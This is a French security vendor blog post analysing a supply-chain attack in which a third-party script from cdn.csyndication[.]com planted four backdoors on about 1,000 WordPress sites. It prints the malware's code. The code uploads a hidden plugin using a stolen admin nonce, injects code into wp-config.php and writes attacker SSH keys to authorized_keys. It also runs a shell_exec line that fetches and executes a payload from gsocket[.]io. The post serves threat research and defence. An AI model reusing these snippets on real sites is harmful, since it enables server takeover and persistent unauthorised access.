Skip to main content
Blog
Blog Attacks

Des milliers de sites web touchés par quatre portes dérobées dans une attaque JavaScript tierce

En analysant les menaces ciblant les frameworks WordPress, nous avons découvert une attaque où un seul fichier JavaScript tiers a été utilisé pour injecter quatre portes dérobées distinctes dans 1 000 sites web compromis via cdn.csyndication[.]com/.

Mar 04, 2025 6 min read
4-backdoors-image-cover
Table des matières

En bref : chaine csyndication a quatre backdoors avec plugin WordPress cles SSH et reverse shell

  • Une brèche, quatre backdoors : Les equipes de reponse a incident travaillent encore avec l'hypothese qu'une attaque client-side largue une seule charge. Celle-ci en a largue quatre, toutes depuis un unique fichier JavaScript tiers sur cdn.csyndication[.]com, precisement pour que le nettoyage d'une backdoor en laisse trois.
  • Comment la chaîne a opéré : La chaine televersait un plugin WordPress cache ultra-seo-processor, injectait du JavaScript supplementaire dans wp-config.php, ecrivait des cles SSH attaquantes ssh-rsa et ssh-ed25519 dans authorized_keys et tirait une reverse shell depuis gsocket[.]io/y sur 1 000 sites compromis, avec seulement deux detections dans les threat feeds. cside a detecte et bloque l'injection de JavaScript malveillant en tests repetes.
  • Réécrivez votre runbook : Si votre runbook de remediation retire la premiere backdoor et ferme le ticket, reecrivez-le ce trimestre. Supposez que toute breche JS tiers peut planter plusieurs points de persistance, et ajoutez une inspection runtime des scripts qui fait remonter le fichier initial avant sa diffusion.

Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur de cside. Elle couvre tout ce qui suit en un seul déploiement.

En analysant les menaces ciblant les frameworks WordPress, nous avons découvert une attaque où un seul fichier JavaScript tiers a été utilisé pour injecter quatre portes dérobées distinctes dans 1 000 sites web compromis via cdn.csyndication[.]com/.

JavaScript tiers malveillant de cdn.csyndication[.]com utilisé pour injecter quatre portes dérobées

La création de quatre portes dérobées offre aux attaquants plusieurs points de réentrée si l'une d'elles est détectée et supprimée. Un cas unique que nous n'avions jamais rencontré auparavant, qui illustre un nouveau type d'attaque rendu possible par l'exploitation de sites web ne surveillant pas leurs dépendances tierces dans le navigateur de leurs utilisateurs.

Voici nos références pour vos propres recherches :

Fonctions des portes dérobées :

  1. Téléverse un plugin WordPress malveillant via un script caché.
  2. Injecte le JavaScript malveillant.
  3. Ajoute des clés SSH contrôlées par l'attaquant.
  4. Exécute des commandes à distance et récupère la charge utile.

Le domaine malveillant ne présente que deux détections dans les flux de menaces.

Flux de menaces montrant le domaine malveillant avec seulement deux détections
JavaScript malveillant obfusqué injecté dans les mille sites web compromis

1ère porte dérobée

Un fichier ZIP est encodé en base64 :

<const O00O00911F_0x5aa841 = "UEsDBAoAAAAAAJizT1kAAAAAAAAAAAAAAAAUABwAdWx0cmEtc2VvLXByb2Nlc3Nvci9VVAkAA4DQ...";

Il récupère la page de téléversement de plugins WordPress afin d'obtenir le _wpnonce token (protection CSRF).

O00O00911F_0x2bcbf3().then(_0x58a9ee => {
  if (_0x58a9ee) {
    const _0x425d54 = new FormData();
    _0x425d54.append("_wpnonce", _0x58a9ee);
    _0x425d54.append("pluginzip", O00O00911F_0x4e0619, "ultra-seo-processor-wp.zip");
    fetch("/wp-admin/update.php?action=upload-plugin", {
      method: "POST",
      body: _0x425d54,
      credentials: "include"
    })
  }
});

Cela téléverse et installe un faux plugin (ultra-seo-processor-wp.zip) sur un site WordPress. Le fichier ZIP contient du code PHP de porte dérobée.

Le script tente ensuite de téléverser un autre plugin WordPress malveillant :

return fetch("/wp-admin/plugin-install.php?tab=upload", {
  method: "GET",
  credentials: "include"
}).then(_0x58b74d => _0x58b74d.text()).then(_0x29d24b => {
  const _0x577cdd = new DOMParser();
  const _0x240b0e = _0x577cdd.parseFromString(_0x29d24b, "text/html");
  const _0x1bd6e5 = _0x240b0e.querySelector("input[name=\"_wpnonce\"]");
  if (_0x1bd6e5) {
    return _0x1bd6e5.value;
  }
});

Cette fonction récupère un nonce d'administration depuis WordPress, puis tente de téléverser un plugin (ultra-seo-processor-wp.zip) vers /wp-admin/update.php?action=upload-plugin, ce qui constitue un signe évident de modification non autorisée au niveau administrateur.

Le script tente ensuite d'exécuter un fichier de porte dérobée dans le répertoire /wp-content/plugins/.

return fetch("/wp-content/plugins/ultra-seo-processor/ultra-seo-processor.php?f6975d6b0e6087dbea971c93cdce5dd2=da00c38aacde5b89aa408c8338151caa", {
  method: "GET",
  credentials: "include"
});

Il recherche les répertoires d'installation de WordPress et Laravel. Cette fonction PHP tente de localiser les installations WordPress (wp-config.php, wp-blog-header.php) et Laravel (artisan) à des fins d'exploitation potentielle.

function findSpecialDirectories($rootDir) {
    $directories = [];
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator(
            $rootDir,
            FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
        ),
        RecursiveIteratorIterator::SELF_FIRST
    );
    foreach ($iterator as $file) {
        if ($file->isDir()) {
            $path = $file->getRealPath();
            if (!$path) {
                continue;
            }
            if (
                file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'artisan')
            ) {
                $directories[] = $path;
            }
        }
    }
    return array_unique($directories);
}

Analyse de ultra-seo-processor.zip dans la 1ère porte dérobée

Hash du fichier** : 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be**

Une seule détection sur Virustotal.

VirusTotal montrant le hash du fichier de la première porte dérobée avec une seule détection

Le fichier ZIP, encodé en base64 et injecté dans WordPress via un script caché, contient :

  • ultra-seo-processor.php : un plugin WordPress malveillant qui exécute les commandes de l'attaquant.
  • Du code qui masque le plugin dans le panneau d'administration, rendant la détection difficile.
  • Des fonctions qui analysent les répertoires à la recherche d'installations WordPress et Laravel.
  • Du code injecté dans wp-config.php pour assurer la persistance.
  • L'installation de clés SSH permettant un accès distant au serveur.

Voici un extrait de la porte dérobée PHP contenue dans le plugin :

function findSpecialDirectories($rootDir) {
   $directories = [];
   $iterator = new RecursiveIteratorIterator(
       new RecursiveDirectoryIterator(
           $rootDir,
           FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
       ),
       RecursiveIteratorIterator::SELF_FIRST
   );
   foreach ($iterator as $file) {
       if ($file->isDir()) {
           $path = $file->getRealPath();
           if (!$path) {
               continue;
           }
           if (
               file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
               file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
               file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php')
           ) {
               $directories[] = $path;
           }
       }
   }
   return array_unique($directories);
}

Cette fonction tente d'analyser les installations WordPress ; le malware est conçu pour un déploiement à grande échelle sur plusieurs installations CMS hébergées sur le même serveur.

$my_execution = function($cmd) {
   return shell_exec($cmd);
};

2ème porte dérobée :

Injecte du JavaScript malveillant dans wp-config.php :

$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';

3ème porte dérobée :

L'injection de clés SSH ajoute des clés SSH contrôlées par l'attaquant dans ~/.ssh/authorized_keys, permettant un accès persistant au serveur :

$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');

4ème porte dérobée :

Exécute des commandes à distance et récupère une autre charge utile depuis gsocket[.]io/y, créant vraisemblablement un reverse shell.

$my_execution = function($cmd) {
  return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');

Comment protéger votre site web

Si vous les détectez, supprimez immédiatement le plugin WordPress malveillant (ultra-seo-processor). Vérifiez le fichier .ssh/authorized_keys pour repérer toute clé non autorisée et supprimez-la. Examinez wp-config.php et index.php à la recherche de code injecté. Si votre serveur web a été compromis, renouvelez l'ensemble des identifiants d'administration WordPress. Surveillez les journaux système pour détecter toute activité suspecte ultérieure.

L'utilisation de JavaScript tiers comme vecteur d'attaque n'est pas nouvelle. En revanche, l'approche multi-portes-dérobées, qui maximise la persistance pour les attaquants, est inédite. Compte tenu de l'utilisation généralisée de bibliothèques JS externes sur tous les sites, nous pensons que ce type d'attaque sera amené à se reproduire.

Nous avons reproduit cette attaque en environnement de test, et cside a détecté et bloqué avec succès l'injection JavaScript malveillante. Si vous craignez une infection potentielle, notre système peut fournir une analyse en temps réel et une défense proactive.

Une campagne Magecart connexe, identifiée au cours de la même période de recherche, a utilisé des scripts obfusqués sur artifyau[.]com et quantifymy[.]com pour dérober des données de paiement sur des sites e-commerce compromis, voir l'attaque Magecart d'Artifyau et Quantifymy.

Réservez un appel/démo ou inscrivez-vous dès maintenant.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau